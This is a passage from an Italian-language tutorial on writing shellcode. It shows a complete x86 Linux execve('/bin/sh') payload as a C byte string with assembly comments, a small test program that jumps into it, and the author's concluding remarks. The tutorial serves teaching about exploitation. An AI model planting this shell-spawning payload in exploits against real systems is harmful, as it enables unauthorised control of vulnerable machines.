"\xeb\x1f" /* jmp +0x1f */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* lea 0xc(%esi),%edx */
"\x89\xf3" /* mov %esi,%ebx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call 0x8048321 */
"/bin/sh";
main()
{
printf("\nIndirizzo shellcode: %p\n", shellcode);
__asm__("call 0x8049480");
}
Ed anche questo shellcode è completo!
Conclusioni
Il tutorial giunge alla conclusione, spero che sia stato di vostro interesse
e soprattutto che vi sia stato utile a qualcosa.
A dire la verità ero partito con l'idea di inserire anche un
terzo esempio in cui spiegare come si realizza uno shellcode per exploit remoti,
ma alla fine la pigrizia ha vinto sulle mie buone intenzioni!
Conto di scrivere un tutorial dedicato solo a quell'argomento
il più presto possibile!
Per info, commenti, chiarimenti etc. scrivetemi pure.
(xroland@linux.net)